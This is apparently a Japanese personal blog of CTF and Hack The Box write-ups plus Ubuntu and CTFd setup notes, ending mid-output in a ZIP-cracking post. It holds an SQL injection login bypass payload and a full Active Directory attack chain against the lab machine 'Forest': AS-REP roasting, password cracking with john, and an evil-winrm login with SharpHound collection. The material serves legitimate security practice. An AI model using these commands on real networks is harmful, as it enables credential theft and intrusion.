setodaNoteCTF Writeup [Web]
Web
Body
Webページにアクセス
ソースを見るとコメントにフラグがある
view-source:https://ctf.setodanote.net/web001/
<p>特に指定がない限りフラグは flag{<!-- *** flag{Section_9} *** -->} という形式をとります。</p>
header
Webページにアクセス
HTTPレスポンスヘッダを見る
x-setodanotectf-flag: flag{xxxxx}
puni_puni
日本語ドメインとかのやつ
Punycode変換・逆変換
https://rakko.tools/tools/5/
xn--q6jaaaaaa08db0x8nc9t1b8fsviei84atb4i0lc xn--q6jaaaaa03dpd4mb3jc5rpa0g9jpk07acadc. xn--q6jylla3va3j6c8138a8eptvb303cxv4ft3o4ue63a xn--v8ja6aj2a3cri3ag4a2r6cx2a1rkk1272c7j4ajd4bmf0kjhg6rb. xn--q6j6gav1a0b2e1bh1ac2cl29ad7728kdjen6cz80dju6bqexchl9gel8b.
フラグは、さん、さん、ピー、ユー、エヌ、ワイ、 シー、オー、ディー、イー、よん、よん、です カタカナ表記は半角英小文字に、 ひらがな表記は半角数字にしたものがフラグです なお、読点は区切り文字なので取り除いてください
Mistake
<!-- Webserver directory index? -->
というヒントがある
https://ctf.setodanote.net/web003/images/ にアクセスすると、ファイル一覧が見える
pic_flag_is_here.txtがあるので開く
tkys_royale
https://ctf.setodanote.net/web005/#
Login formがあるのでSQLインジェクションを試す。
ユーザー名に「aa」パスワードに「' or 1=1--」でエラー
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 Query: SELECT * From basic_accounts where username='aa' and password='' or 1=1;--'
ユーザー名に「aa」パスワードに「' or 1=1#」で成功
Welcome admin!! flag{xxxxx}
Estimated
https://ctf.setodanote.net/web006/20210603.html
お詫び:昨日の記事について JUNE 3, 2021 昨日の記事について、掲載していた画像に公開すべきではない情報が含まれていたため当該記事を削除いたしました。 皆様にはご心配、ご迷惑をおかけしてしまい申し訳ありません。
↓
6月2日の画像を探す問題か
Web魚拓などでページを探したが見つからず
画像自体のURLが推測可能なのでアクセスしてみる
https://ctf.setodanote.net/web006/images/20210602001b.jpg
ブログ記事は削除したが、画像自体はアップロードされたままという問題
画像中にフラグが書いてあった
Mx.Flag
https://ctf.setodanote.net/web007/
にアクセスしてフラグを探す
HTMLソースを見てみる
<link rel="icon" type="image/png" href="images/favicon.png"> <link rel="stylesheet" href="assets/css/style.css">
CSSには不審点は何もない
シンプルなサイトなのにfaviconがあるのは怪しい
ブラウザメニューでの「画像を保存」もグレーアウトされている
HTMLソース画面からfaviconをダウンロード
ペイントでは開けないファイル→画像ではない
テキストエディタで開いたらフラグがあった
// flag{xxxxx} console.table({place: "favicon.png", png: "false", flag: "true", Look: "me"});
Redirect
https://ctf.setodanote.net/web004/#
からフラグを探す
ソースを見ると以下スクリプトが怪しい
<script>!function(){var ref = document.referrer;var domain = ref.match(/^http([s]?):\/\/([a-zA-Z0-9-_\.]+)(:[0-9]+)?/)[2];if(domain == "www.google.com" || domain == "www.google.co.jp" ){location.href = atob('aHR0cHM6Ly9jdGYuc2V0b2Rhbm90ZS5uZXQvd2ViMDA0L2JXRnNhMmwwLmh0bWw=');}}();</script>
atobの中身をbase64 decodeするとURLがでてくる
ブラウザからアクセスするとリダイレクトされるのでcurlでアクセスする
$ curl https://ctf.setodanote.net/web004/bWFsa2l0.html <!DOCTYPE HTML> <html> <head> <title>start</title> <noscript> <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html"> </noscript> <script> !function() { var params = new URL(window.location.href).searchParams; if(Array.from(params).length > 0){ location.href = 'https://ctf.setodanote.net/web004/bm9mbGFn/?'+params; }else{ location.href = 'https://ctf.setodanote.net/web004/bWFsa2l0.html?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200'; } }(); </script> </head> <body> <p>Find out the flag.</p> </body> </html>
同様に、何度かたどっていく
curl https://ctf.setodanote.net/web004/bWFsa2l0.html curl https://ctf.setodanote.net/web004/bm9mbGFn/? curl https://ctf.setodanote.net/web004/bmV4dG5leHQ/? curl https://ctf.setodanote.net/web004/b25lLXR3by10aHJlZQ/?
パラメータがあれば進めそうなページにたどり着く
$ curl https://ctf.setodanote.net/web004/dGFjaGlrb21hX2thd2FpaV95b25l/? <html> <head> <title>GO!GO!GO!</title> <noscript> <meta http-equiv=refresh content="1; URL=https://ctf.setodanote.net/web004/noscript.html"> </noscript> <script> !function() { var params = new URL(window.location.href).searchParams; var callback = params.get('callback'); var data1 = params.get('data1'); var data2 = params.get('data2'); var data3 = params.get('data3'); var data4 = params.get('data4'); if (callback == 'getFlag' && data1 == "2045" && data2 =="0907" && data3 == "BiancoRoja" && data4 =="1704067200") { location.href = 'https://noisy-king-d0da.setodanote.net/?'+params; }else{ location.href = 'https://ctf.setodanote.net/web004/ZGFtbXlmbGFn/hint.html?'+params; } }(); </script> </head> <body> <p>Yes! Go to next.</p> </body> </html>
以下のように指定してアクセス
$ curl 'https://noisy-king-d0da.setodanote.net/?callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200' <!DOCTYPE html> <body> <h1>Nice work!!</h1> <p>flag{xxxxx}</p> </body>
フラグが返ってきた
Ubuntu 20.04.2 LTSをインストール後のNW、FW、SSH設定を行う
Ubuntu 20.04.2 LTSをインストール後の設定を行う
まだLANケーブルを接続しないでおく
■ネットワーク設定
$ cd /etc/netplan/ $ ls 01-network-manager-all.yaml
最初からあるファイルはリネームする
$ sudo mv 01-network-manager-all.yaml 01-network-manager-all.yaml.disabled
新規にファイルを作成
$ sudo vi 99-netcfg.yaml
以下のように入力指定保存する
$ cat 99-netcfg.yaml network: version: 2 ethernets: enp3s0: addresses: [192.168.x.x/24] gateway4: 192.168.x.254 nameservers: addresses: [8.8.8.8] search: [] optional: true
適用
$ sudo netplan apply
ip aコマンドで確認したが、IPアドレスが見えない
念のためデバッグメッセージを出力して確認(不要かも)
$ sudo netplan --debug generate DEBUG:command generate: running ['/lib/netplan/generate'] ** (generate:3594): DEBUG: 18:18:16.499: Processing input file /etc/netplan/99-netcfg.yaml.. ** (generate:3594): DEBUG: 18:18:16.499: starting new processing pass ** (generate:3594): DEBUG: 18:18:16.499: We have some netdefs, pass them through a final round of validation ** (generate:3594): DEBUG: 18:18:16.499: enp3s0: setting default backend to 1 ** (generate:3594): DEBUG: 18:18:16.499: Configuration is valid ** (generate:3594): DEBUG: 18:18:16.499: Generating output files.. ** (generate:3594): DEBUG: 18:18:16.499: NetworkManager: definition enp3s0 is not for us (backend 1) (generate:3594): GLib-DEBUG: 18:18:16.499: posix_spawn avoided (fd close requested)
特にエラーはなさそう
LANケーブルを接続し、再度ip aコマンドで確認したところ、IPアドレスが確認できた
名前解決できることを確認
$ nslookup google.com Non-authoritative answer: Name: google.com Address: 172.217.175.238
ソフトウェアを最新化
$ sudo apt update $ sudo apt upgrade
ifconfigを使いたいので、ソフトウェアをインストール
$ sudo apt install net-tools
キーボード設定を行う
$ sudo dpkg-reconfigure keyboard-configuration
⇒一覧からキーボードを選択
XWindowにて日本語キーボードを行う
$ setxkbmap jp
■ファイアウォール設定
ルールを追加
$ sudo ufw allow 32001 $ sudo ufw allow 80 $ sudo ufw allow 443
有効にする
$ sudo ufw enable Command may disrupt existing ssh connections. Proceed with operation (y|n)? y Firewall is active and enabled on system startup
確認
$ sudo ufw status 状態: アクティブ To Action From -- ------ ---- 32001 ALLOW Anywhere 443 ALLOW Anywhere 80 ALLOW Anywhere 32001 (v6) ALLOW Anywhere (v6) 443 (v6) ALLOW Anywhere (v6) 80 (v6) ALLOW Anywhere (v6)
■SSHをインストール
sudo apt install ssh
SSH設定変更
$ sudo vi /etc/ssh/sshd_config #Port 22 ↓ Port 32001 # PasswordAuthentication no ↓ PasswordAuthentication no
SSH再起動で、設定反映
$ sudo systemctl restart sshd.service
SSHの公開鍵を置くフォルダを作成
$ mkdir .ssh/ $ chmod 700 .ssh/
Teratermなどで鍵ペアを作成する
SSH接続準備(公開鍵認証)
以下に公開鍵を置く
/home/(user name)/.ssh/authorized_keys
まずは権限変更(600でよかったかも)
(していないと、Load key "~/id_ecdsa": bad permissionsになる)
% chmod 700 /Users/~/id_ecdsa
接続
% ssh -i /Users/~/id_ecdsa ctf@192.168.x.x -p 32001 Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.8.0-63-generic x86_64)
Ubuntu 20.04.2 LTSにCTFdをインストール
Ubuntu 20.04.2 LTSにCTFdをインストールした時のメモ
必要なコード類をダウンロード
$ git clone https://github.com/CTFd/CTFd
$ cd CTFd/
pipをインストール
$ sudo apt install pip
必要なソフトをインストール
./prepare.sh
以下のように書き換えることで、外部から接続できるようになる
$ vi serve.py app.run(debug=True, threaded=True, host="127.0.0.1", port=args.port) ↓ app.run(debug=True, threaded=True, host="0.0.0.0", port=args.port)
サーバを起動する
$ python3 serve.py
ブラウザから以下にアクセスし、設定を行う
http://192.168.x.x:4000/
Hack The Box Writeup Forest(途中user.txtの取得まで)
■準備 HTBのサイトにログイン ovpnファイルをHTBのサイトからダウンロードしておく
VPNで接続
$ sudo openvpn lab_xxxxx1.ovpn (略) 2021-07-16 21:36:53 net_route_v4_add: 10.10.10.0/23 via 10.10.16.1 dev [NULL] table 0 metric -1 (略) 2021-07-16 22:01:20 Preserving previous TUN/TAP instance: tun0 2021-07-16 22:01:20 Initialization Sequence Completed
「Initialization Sequence Completed」で止まったらOK
別のターミナルを開いてコマンドを実行していく
■問題
Forest
https://app.hackthebox.eu/machines/Forest
参考
https://qiita.com/v_avenger/items/43014e5e34fe491764c8
■情報収集(NW)
$ nmap -sV -sT -sC 10.10.10.161 Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-17 03:29 EDT Nmap scan report for 10.10.10.161 Host is up (0.55s latency). Not shown: 989 closed ports PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-07-17 07:49:25Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 2h39m08s, deviation: 4h02m32s, median: 19m06s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: FOREST | NetBIOS computer name: FOREST\x00 | Domain name: htb.local | Forest name: htb.local | FQDN: FOREST.htb.local |_ System time: 2021-07-17T00:49:50-07:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2021-07-17T07:49:48 |_ start_date: 2021-07-16T05:25:15 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 124.64 seconds
■情報収集
$ enum4linux 10.10.10.161 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Jul 17 03:33:01 2021 (略) ============================= | Users on 10.10.10.161 | ============================= Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866. index: 0x2137 RID: 0x463 acb: 0x00020015 Account: $331000-VK4ADACQNUCA Name: (null) Desc: (null) index: 0xfbc RID: 0x1f4 acb: 0x00020010 Account: Administrator Name: Administrator Desc: Built-in account for administering the computer/domain index: 0x2369 RID: 0x47e acb: 0x00000210 Account: andy Name: Andy Hislip Desc: (null) index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system. index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain index: 0x2352 RID: 0x478 acb: 0x00000210 Account: HealthMailbox0659cc1 Name: HealthMailbox-EXCH01-010 Desc: (null) index: 0x234b RID: 0x471 acb: 0x00000210 Account: HealthMailbox670628e Name: HealthMailbox-EXCH01-003 Desc: (null) index: 0x234d RID: 0x473 acb: 0x00000210 Account: HealthMailbox6ded678 Name: HealthMailbox-EXCH01-005 Desc: (null) index: 0x2351 RID: 0x477 acb: 0x00000210 Account: HealthMailbox7108a4e Name: HealthMailbox-EXCH01-009 Desc: (null) index: 0x234e RID: 0x474 acb: 0x00000210 Account: HealthMailbox83d6781 Name: HealthMailbox-EXCH01-006 Desc: (null) index: 0x234c RID: 0x472 acb: 0x00000210 Account: HealthMailbox968e74d Name: HealthMailbox-EXCH01-004 Desc: (null) index: 0x2350 RID: 0x476 acb: 0x00000210 Account: HealthMailboxb01ac64 Name: HealthMailbox-EXCH01-008 Desc: (null) index: 0x234a RID: 0x470 acb: 0x00000210 Account: HealthMailboxc0a90c9 Name: HealthMailbox-EXCH01-002 Desc: (null) index: 0x2348 RID: 0x46e acb: 0x00000210 Account: HealthMailboxc3d7722 Name: HealthMailbox-EXCH01-Mailbox-Database-1118319013 Desc: (null) index: 0x2349 RID: 0x46f acb: 0x00000210 Account: HealthMailboxfc9daad Name: HealthMailbox-EXCH01-001 Desc: (null) index: 0x234f RID: 0x475 acb: 0x00000210 Account: HealthMailboxfd87238 Name: HealthMailbox-EXCH01-007 Desc: (null) index: 0xff4 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account index: 0x2360 RID: 0x47a acb: 0x00000210 Account: lucinda Name: Lucinda Berger Desc: (null) index: 0x236a RID: 0x47f acb: 0x00000210 Account: mark Name: Mark Brandt Desc: (null) index: 0x236b RID: 0x480 acb: 0x00000210 Account: santi Name: Santi Rodriguez Desc: (null) index: 0x235c RID: 0x479 acb: 0x00000210 Account: sebastien Name: Sebastien Caron Desc: (null) index: 0x215a RID: 0x468 acb: 0x00020011 Account: SM_1b41c9286325456bb Name: Microsoft Exchange Migration Desc: (null) index: 0x2161 RID: 0x46c acb: 0x00020011 Account: SM_1ffab36a2f5f479cb Name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9} Desc: (null) index: 0x2156 RID: 0x464 acb: 0x00020011 Account: SM_2c8eef0a09b545acb Name: Microsoft Exchange Approval Assistant Desc: (null) index: 0x2159 RID: 0x467 acb: 0x00020011 Account: SM_681f53d4942840e18 Name: Discovery Search Mailbox Desc: (null) index: 0x2158 RID: 0x466 acb: 0x00020011 Account: SM_75a538d3025e4db9a Name: Microsoft Exchange Desc: (null) index: 0x215c RID: 0x46a acb: 0x00020011 Account: SM_7c96b981967141ebb Name: E4E Encryption Store - Active Desc: (null) index: 0x215b RID: 0x469 acb: 0x00020011 Account: SM_9b69f1b9d2cc45549 Name: Microsoft Exchange Federation Mailbox Desc: (null) index: 0x215d RID: 0x46b acb: 0x00020011 Account: SM_c75ee099d0a64c91b Name: Microsoft Exchange Desc: (null) index: 0x2157 RID: 0x465 acb: 0x00020011 Account: SM_ca8c2ed5bdab4dc9b Name: Microsoft Exchange Desc: (null) index: 0x2365 RID: 0x47b acb: 0x00010210 Account: svc-alfresco Name: svc-alfresco Desc: (null) Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881. user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[DefaultAccount] rid:[0x1f7] user:[$331000-VK4ADACQNUCA] rid:[0x463] user:[SM_2c8eef0a09b545acb] rid:[0x464] user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465] user:[SM_75a538d3025e4db9a] rid:[0x466] user:[SM_681f53d4942840e18] rid:[0x467] user:[SM_1b41c9286325456bb] rid:[0x468] user:[SM_9b69f1b9d2cc45549] rid:[0x469] user:[SM_7c96b981967141ebb] rid:[0x46a] user:[SM_c75ee099d0a64c91b] rid:[0x46b] user:[SM_1ffab36a2f5f479cb] rid:[0x46c] user:[HealthMailboxc3d7722] rid:[0x46e] user:[HealthMailboxfc9daad] rid:[0x46f] user:[HealthMailboxc0a90c9] rid:[0x470] user:[HealthMailbox670628e] rid:[0x471] user:[HealthMailbox968e74d] rid:[0x472] user:[HealthMailbox6ded678] rid:[0x473] user:[HealthMailbox83d6781] rid:[0x474] user:[HealthMailboxfd87238] rid:[0x475] user:[HealthMailboxb01ac64] rid:[0x476] user:[HealthMailbox7108a4e] rid:[0x477] user:[HealthMailbox0659cc1] rid:[0x478] user:[sebastien] rid:[0x479] user:[lucinda] rid:[0x47a] user:[svc-alfresco] rid:[0x47b] user:[andy] rid:[0x47e] user:[mark] rid:[0x47f] user:[santi] rid:[0x480] ========================================= (略)
ASREPRoast攻撃が有効らしい
https://book.hacktricks.xyz/windows/active-directory-methodology/asreproast
ASREPRoast攻撃は、Kerberosの事前認証必須属性(DONT_REQ_PREAUTH)を持たないユーザを探します。 つまり、誰もがそれらのユーザに代わってDCにAS_REQリクエストを送信し、 AS_REPメッセージを受け取ることができるということです。
ASREPRoast攻撃に使用するツール(GetNPUsers.py)をダウンロード
$ wget https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/GetNPUsers.py
試しに動かしてみるが、モジュール(impacket)がないらしく、動かない
$ python3 GetNPUsers.py --help
ModuleNotFoundError: No module named 'impacket.examples.utils'
$ pip --version
pip 20.3.4 from /usr/lib/python3/dist-packages/pip (python 3.9)
impacketは入っているらしいので、一度アンインストールする
→消すものがないらしい。この環境、大丈夫?
$ pip uninstall impacket
Found existing installation: impacket 0.9.22
Not uninstalling impacket at /usr/lib/python3/dist-packages, outside environment /usr
Can't uninstall 'impacket'. No files were found to uninstall.
必要なモジュール(impacket)をダウンロード
git clone https://github.com/CoreSecurity/impacket.git
cd impacket
vi setup.py #!/usr/bin/env python ↓ #!/usr/bin/env python3
impacketをインストール
$ sudo python3 setup.py install
$ python3 GetNPUsers.py --help Impacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation
usage: GetNPUsers.py [-h] [-request] [-outputfile OUTPUTFILE] [-format {hashcat,john}] [-usersfile USERSFILE] [-ts] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] target
ユーザー名が必要なので、enum4linuxの「 Users on 10.10.10.161 」の結果を保存
$ cat users_forest.txt
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
:
[と]を区切り文字として、ユーザ名を取り出す
$ cat users_forest.txt | cut -d "[" -f 2 | cut -d "]" -f 1 > usernames_forest.txt
$ cat usernames_forest.txt Administrator Guest :
ドメイン名を指定(Domain name: htb.local)
-usersfile ユーザー名一覧を指定
-format johnで解析できる形式で出力
-outputfile 結果を出力するファイル名(なんでもいい)
$ python3 GetNPUsers.py HTB.local/ -usersfile usernames_forest.txt -format john -outputfile output_forest.txt -no-pass -dc-ip 10.10.10.161 Impacket v0.9.24.dev1+20210720.100427.cd4fe47c - Copyright 2021 SecureAuth Corporation [-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) (略) [-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set [-] invalid principal syntax
失敗かと思われたが、output_forest.txtに出力あり
$ cat output_forest.txt
$krb5asrep$svc-alfresco@HTB.LOCAL:d93839684eb654739ffa7(略)
ユーザ「svc-alfresco」のハッシュ値が取れているようだ
ハッシュ値をjohnコマンドで解析(辞書はrockyou.txt)
$ john output_forest.txt --wordlist=rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 512/512 AVX512BW 16x]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status s3rvice ($krb5asrep$svc-alfresco@HTB.LOCAL) 1g 0:00:00:03 DONE (2021-07-26 16:33) 0.2770g/s 1131Kp/s 1131Kc/s 1131KC/s s521379846..s3r2s1 Use the "--show" option to display all of the cracked passwords reliably Session completed
判明したパスワードは「s3rvice」
資格情報が得られたので、WinRMで接続できるか確かめる
$ nmap -p 5985 10.10.10.161 PORT STATE SERVICE 5985/tcp open wsman Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
ポートは空いている
WS-Management (WSMan)≒WinRM という感じらしい
| クライアントPC
↓ WS-MAN(HTTP)
| リモートPC
| ↓
| WinRM
| ↓| PowerShell
接続に使うツールをインストール
$ sudo gem install winrm winrm-fs colorize stringio
$ git clone https://github.com/Hackplayers/evil-winrm.git cd evil-winrm
WinRMで接続
./evil-winrm.rb -i 10.10.10.161 -u svc-alfresco -p s3rvice Evil-WinRM shell v3.0 *Evil-WinRM* PS C:\Users\svc-alfresco\Documents>
フラグを表示
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type C:\Users\svc-alfresco\Desktop\user.txt e5e*********************************ed
1つ目のフラグが取れた
Windows Active Directory環境の分析をBloodHoundというツールで行う
Active Directory環境の関係性がわかり、Domain Adminsを取る手掛かりとなる情報が得られるとのこと
ローカルにダウンロード
$ cd evil-winrm
$ wget https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1
攻略対象マシンにアップロードして、実行
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> upload SharpHound.ps1 Info: Upload successful! *Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> Import-module ./SharpHound.ps1 *Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> Invoke-BloodHound -CollectionMethod ACL,ObjectProps,Default -NoSaveCache ※-CompressData -RemoveCSVはエラーとなったので指定を外した *Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> dir Directory: C:\Users\svc-alfresco\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 7/26/2021 1:44 AM 15361 20210726014448_BloodHound.zip ★結果 -a---- 7/26/2021 1:41 AM 974235 SharpHound.ps1 -ar--- 9/23/2019 2:16 PM 32 user.txt
結果ファイルをダウンロード
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> download 20210726014448_BloodHound.zip Info: Download successful!
「Download successful!」だが、なぜかローカルにダウンロードされていない・・・
ツールの不具合なのか?
いったんここまで
ksnCTF Writeup No.18 USB flash drive
drive.imgが渡される
ファイル情報を見てみる
$ file drive.img
drive.img: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 8, hidden sectors 1, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 32767, $MFT start cluster 1365, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 0667e77597e77214b; contains bootstrap BOOTMGR
ディスクイメージ問題はFTK Imagerを使ったような気がするが、
現在の環境にはなく、ダウンロードには大量のフォームを埋める必要があり、ハードルが高い
(しかも、フリーメールアドレスはダメとの記載あり)
Forensics入門(CTF)
https://qiita.com/knqyf263/items/6ebf06e27be7c48aab2e
の「ディスクイメージが渡された場合」を参考に、foremostコマンドにてファイル抽出してみる
$ foremost drive.img
Processing: drive.img
|*|
outputディレクトリができた
$ cd output/
$ ls
audit.txt jpg
出力情報を見てみる
$ cat audit.txt
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File
Foremost started at Sat Jul 24 09:54:59 2021
Invocation: foremost drive.img
Output directory: /home/kali/Downloads/output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: drive.img
Start: Sat Jul 24 09:54:59 2021
Length: 16 MB (16777216 bytes)
Num Name (bs=512) Size File Offset Comment
0: 00001040.jpg 79 KB 532480
1: 00001200.jpg 169 KB 614400
2: 00001544.jpg 46 KB 790528
3: 00001640.jpg 132 KB 839680
Finish: Sat Jul 24 09:55:00 2021
4 FILES EXTRACTED
jpg:= 4
------------------------------------------------------------------
Foremost finished at Sat Jul 24 09:55:00 2021
画像ファイルが4つ抽出された
00001200.jpgの画像下部に以下のヒントあり
「The flag is in this file, but not in this image.」
00001200.jpgはbinwalkでみてもJPEG以外があり、怪しい
$ binwalk -e *.jpg
Scan Time: 2021-07-24 09:59:35
Target File: /home/kali/Downloads/output/jpg/00001040.jpg
MD5 Checksum: 043c1391d18a09d4bf8769c811c8d67f
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.00
Scan Time: 2021-07-24 09:59:35
Target File: /home/kali/Downloads/output/jpg/00001200.jpg
MD5 Checksum: 1b5feefc233ee889ff6e5979ac925514
Signatures: 411
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, EXIF standard
12 0xC TIFF image data, little-endian offset of first image directory: 8
ファイルを取り出してみる
$ binwalk -D='.*' 00001200.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, EXIF standard
12 0xC TIFF image data, little-endian offset of first image directory: 8
$ ls -ltr
drwxr-xr-x 2 kali kali 4096 7月 24 10:03 _00001200.jpg.extracted
$ ls _00001200.jpg.extracted
0 C
「0」がヒントが書いてある画像ファイル
「C」は画像としては開けず、stringsコマンドでもフラグは見つからず
flsコマンドを試してみる
ディスクイメージからファイル、ディレクトリ名を表示する
$ fls drive.img
d/d 11-144-4: $Extend
r/r 35-128-1: Carl Larsson Brita as Iduna.jpg
r/r 37-128-1: Mona Lisa.jpg
r/r 38-128-1: The Great Wave off Kanagawa.jpg
一部抜粋。
d/dがディレクトリ
r/rがファイル
-d で、削除済のエントリのみ表示する。大量にあり、怪しい
$ fls drive.img -d
-/r * 36-128-1: Liberty Leading the People.jpg
-/r * 36-128-4: Liberty Leading the People.jpg:00
-/r * 36-128-5: Liberty Leading the People.jpg:01
-/r * 36-128-6: Liberty Leading the People.jpg:02
-/r * 36-128-7: Liberty Leading the People.jpg:03
-/r * 36-128-8: Liberty Leading the People.jpg:04
-/r * 36-128-9: Liberty Leading the People.jpg:05
-/r * 36-128-10: Liberty Leading the People.jpg:06
icatコマンドを使うと、inode番号を指定して、ファイルを出力させることができる
$ icat drive.img 36-128-1 > 00.jpg
→ヒントが書いてある画像ファイル
$ icat drive.img 36-128-4 > 0.jpg
$ icat drive.img 36-128-5 > 1.jpg
結合するとFLAGの文字列が
$ cat 0.jpg 1.jpg
FLAG_q
$ icat drive.img 36-128-6 > 2.jpg
$ icat drive.img 36-128-7 > 3.jpg
$ icat drive.img 36-128-8 > 4.jpg
$ icat drive.img 36-128-9 > 5.jpg
$ icat drive.img 36-128-10 > 6.jpg
残りも出力し、結合するとフラグが得られる
$ cat ?.jpg
ksnCTF Writeup No.19 ZIP de kure
普通にZIPファイルの解凍を試してみるとヒントが表示される
$ unzip flag.zip
Archive: flag.zip
Hint:
- It is known that the encryption system of ZIP is weak against known-plaintext attacks.
- We employ ZIP format not for compression but for encryption.
[flag.zip] flag.html password:
暗号化ZIP内にわかっているファイルがある場合、攻撃ができるとのこと
以前似た問題を見たことがあるが、その時は解けなかった記憶が
zipinfoでファイル情報を見てみる
$ zipinfo -v flag.zip
Archive: flag.zip
The zipfile comment is 161 bytes long and contains the following text:
======================== zipfile comment begins ==========================
Hint:
- It is known that the encryption system of ZIP is weak against known-plaintext attacks.
- We employ ZIP format not for compression but for encryption.
========================= zipfile comment ends ===========================
End-of-central-directory record:
-------------------------------
Zip archive file size: 256719 (000000000003EACFh)
Actual end-cent-dir record offset: 256536 (000000000003EA18h)
Expected end-cent-dir record offset: 256536 (000000000003EA18h)
(based on the length of the central directory and its expected offset)
This zipfile constitutes the sole disk of a single-part archive; its
central directory contains 2 entries.
The central directory is 122 (000000000000007Ah) bytes long,
and its (expected) offset in bytes from the beginning of the zipfile
is 256414 (000000000003E99Eh).
Central directory entry #1:
---------------------------
flag.html
offset of local header from start of archive: 0
(0000000000000000h) bytes
file system or operating system of origin: MS-DOS, OS/2 or NT FAT
version of encoding software: 2.0
minimum file system compatibility required: MS-DOS, OS/2 or NT FAT
minimum software version required to extract: 1.0
compression method: none (stored)
file security status: encrypted
extended local header: yes
file last modified on (DOS date/time): 2012 Jun 3 18:14:00
32-bit CRC value (hex): d66cb67b
compressed size: 316 bytes
uncompressed size: 304 bytes
length of filename: 9 characters
length of extra field: 0 bytes
length of file comment: 0 characters
disk number on which file begins: disk 1
apparent file type: binary
non-MSDOS external file attributes: 000000 hex
MS-DOS file attributes (20 hex): arc
There is no file comment.
Central directory entry #2:
---------------------------
There are an extra 16 bytes preceding this file.
Standard-lock-key.jpg
offset of local header from start of archive: 371
(0000000000000173h) bytes
file system or operating system of origin: MS-DOS, OS/2 or NT FAT
version of encoding software: 2.0
minimum file system compatibility required: MS-DOS, OS/2 or NT FAT
minimum software version required to extract: 1.0
compression method: none (stored)
file security status: encrypted
extended local header: yes
file last modified on (DOS date/time): 2012 Jun 3 18:10:58
32-bit CRC value (hex): af308dc8
compressed size: 255976 bytes
